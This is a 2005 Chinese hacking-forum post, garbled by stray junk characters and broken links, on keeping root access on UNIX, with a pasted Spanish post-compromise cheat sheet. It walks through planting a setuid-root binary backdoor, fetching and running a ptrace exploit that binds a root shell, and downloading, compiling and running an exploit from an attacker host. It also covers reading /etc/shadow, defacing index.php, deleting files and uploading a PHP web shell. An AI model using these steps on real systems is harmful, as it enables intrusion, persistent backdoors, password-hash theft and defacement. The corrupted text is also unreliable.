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总结UNIX成为root以后保持权限的方法

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发表于 2005-2-4 23:57 |只看该作者 |倒序浏览
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<><FONT color=#ff0000>by:cnbird</FONT></P>( r- ]7 M% i0 P( O
<>1.</P>9 U% k+ r7 y$ V' |! D
<>[cnbird@localhost tmp]#id</P>2 ?4 w3 P: L7 k
<>uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk)</P>% [: J* r$ N4 c! Z, x* j7 y
<>[cnbird@localhost tmp]#cp `which id ` .</P>
" N% I0 ]/ f/ y; Z+ ~<>[cnbird@localhost tmp]#chown root ./id</P>5 J# Y6 ], Z7 W4 n) `% ?
<>[cnbird@localhost tmp]#chmod 755 ./id ; chmod u+s ./id</P>
: f: w: t1 K# L  |<>[cnbird@localhost tmp]#ls -l ./id</P>
" q/ j5 K4 T% C  R<>-rwsr-xr-x 1 root root 9264 Mar 8 21:36 ./id*</P>) Z' k/ ~% T$ U, M9 I- X7 n
<>[cnbird@localhost tmp]#exit</P>& `! |4 H0 g1 y5 }' g) k! \
<>[cnbird@localhost tmp]$id</P>
4 \7 e& V# @0 d: I<>uid=500(cnbird) gid=500(cnbird) groups=500(cnbird)</P>
# B1 V  p- c+ b+ G9 S6 B) a8 m<>[cnbird@localhost tmp]$./id </P>
1 x3 t+ f7 G" [( O* ]- B<>uid=500(cnbird) gid=500(cnbird) euid=0(root) groups=500(cnbird)</P>7 _8 {8 ~# M5 _5 w$ H7 b
<>2.利用ptrace成为root的方法</P>
$ T; b/ F; l; `. J4 u! C<>[bash]# cd /tmp/; wget <a href="http://delivered.informaticahispana.org/ptrace.c" target="_blank" ><FONT color=#0000ff>http://delivered.informaticahispana.org/ptrace.c</FONT></A>; gcc ptrace.c -o ptrace; chmod -c 777 ptrace; ./ptrace7 i  B4 V8 F3 D
-&gt; Parent's PID is 2313. Child's PID is 2314./ r/ x0 q3 @) U( j
-&gt; Attaching to 2315...* a7 x. N, b4 h: j" H
-&gt; Got the thread!!
6 Z7 ~* Q0 {' V+ s& i; F. ?1 I9 N-&gt; Waiting for the next signal...8 @/ X/ v$ y2 X6 a/ G6 x
-&gt; Injecting shellcode at 0x4000e85d3 u( S# {6 r" m0 m
-&gt; Bind root shell on port 24876... =p
: F% k, d# @  M8 ^' @-&gt; Detached from modprobe thread.
2 U6 a, H3 n% Y& `-&gt; Committing suicide.....</P>
5 D% h6 I$ g1 ^9 E! r<>[bash]# id
! r& Q; R- d' u# Suid=0(root) gid=0(root) groups=0(root)</P>
3 H, K5 y9 ?/ e3 h3 f6 M* w<>ara ver los dominios que hay en el server:! r4 q  W4 m: i2 a1 `* O* E- q' J, b
---------------------------------------------------------
3 F, _7 }. G  @7 jcat /etc/httpd/conf/httpd.conf|grep ServerName &lt;&lt; Solo salen los dominios
9 R% D. l. e) p( O# P& ~cat /etc/httpd/conf/httpd.conf &lt;&lt; Unicamente los puros dominios/ c8 I) r+ A1 q% \. u9 z
cat /etc/localdomains &lt;&lt; Unicamente los dominios locales, {' S2 I+ e/ m! q5 ^
cat /etc/trueuserdomains &lt;&lt; Revela los verdades propietarios de cada dominio
! [7 E! z. P- [6 mcat /etc/userdomains &lt;&lt; Este es el mas comun# r8 Y" a; @: H7 Z( P
---------------------------------------------------------</P>9 \9 j/ W) ]/ D% _; i( d% ?# P: G
<>ara ver la version de kernel:' r& ?7 J0 o/ k6 q
---------------------------------------------------------
( R% m  I" V1 ?2 ^3 W: l0 Suname -a &lt;&lt;Te sale algo asi Linux itys.host4u.net 2.4.20....., 2.4.20 viene siendo la version del kernel.: }# d- ]5 Q) P3 |" {% j
---------------------------------------------------------</P>" R' N7 }+ W- |3 H, D! {! v
<>ara modificar un index ya existente:
* w8 G8 P: t- D" P1 }7 Z---------------------------------------------------------
9 C' n( s2 M4 z) iecho "RootBox was OwNz You"&gt;index.php &lt;&lt;sobreescribe el archivo index.php con nuevo contenido
5 G" Z/ b- n" z---------------------------------------------------------</P>5 K; ^3 T. O+ U' S: Z* k
<>ara subir, compilar, darle permisos de ejecucion y ejecutar un exploit:- G$ n! w0 _. a$ e  }/ F
---------------------------------------------------------
" W. J0 B) g: W( z# x' N1 S: }cd /tmp/;wget <a href="http://web<a%20href=/" target="_blank" >_</A>atacante/exploit.c"&gt;<FONT color=#0000ff>http://web<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>atacante/exploit.c</FONT></A> &lt;&lt;aqui subimos el exploit; l$ O* m' K: [' ]# g, `/ D
cd /tmp/;cc exploit.c -o exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado &lt;&lt;aqui lo compilamos con el nombre de "exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado"
8 f$ W1 s, i5 i7 q6 ocd /tmp/;chmod -c 777 exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado &lt;&lt;aqui le damos permisos de ejecucion a "exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado"1 ]1 S0 t. l; l8 [
cd /tmp/;./exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado &lt;&lt;aqui estamos ejecutando a "exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado". ) r4 h4 b  |9 I7 k' Q! B2 w
Hasta aqui termina el proceso para un exploit.8 r; q2 q/ T% M* K$ m1 G5 \
---------------------------------------------------------</P>% h  _" i4 e4 U4 j2 E
<>Ver las contrase&ntilde;as encriptadas de todos los usuarios:: @1 o+ V6 Y& P9 H
---------------------------------------------------------
5 \% J5 ~6 @7 N9 d1 B, O7 K- gcat /etc/shadow &lt;&lt;Solo funciona si tienes permisos como root.
5 `8 u: }9 y. `. ^---------------------------------------------------------</P>
; F3 a+ n$ u* R<>Borrar un Ficher
- W0 L1 r5 j6 X/ B---------------------------------------------------------! Y% i! A* F& f/ s4 J; B
cd /home/juan/public<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>html/;rm import.htm&lt;&lt;aqui estan borrando con el comando rm, el fichero import.htm
! d. Z& ]: @# z: m, |- c---------------------------------------------------------</P>) j- k/ a7 k8 c1 I0 o4 n8 A0 B- z
<>Subir un ficher8 {9 a, ^& U/ C' O4 s6 b" v
---------------------------------------------------------
1 `6 t; g' ^1 X3 tcd /home/juan/public<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>html/;wget <a href="http://web<a%20href=/" target="_blank" >_</A>atacante/shell.php&lt;<ESTAMOS"><FONT color=#0000ff>http://web<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>atacante/shell.php&lt;&lt;Estamos</FONT></A> subiendo el fichero shell.php</P>0 |. x! {6 F  {0 O2 O
<>, L# w& I9 i/ ?8 o4 [
<CENTER></CENTER>
zan
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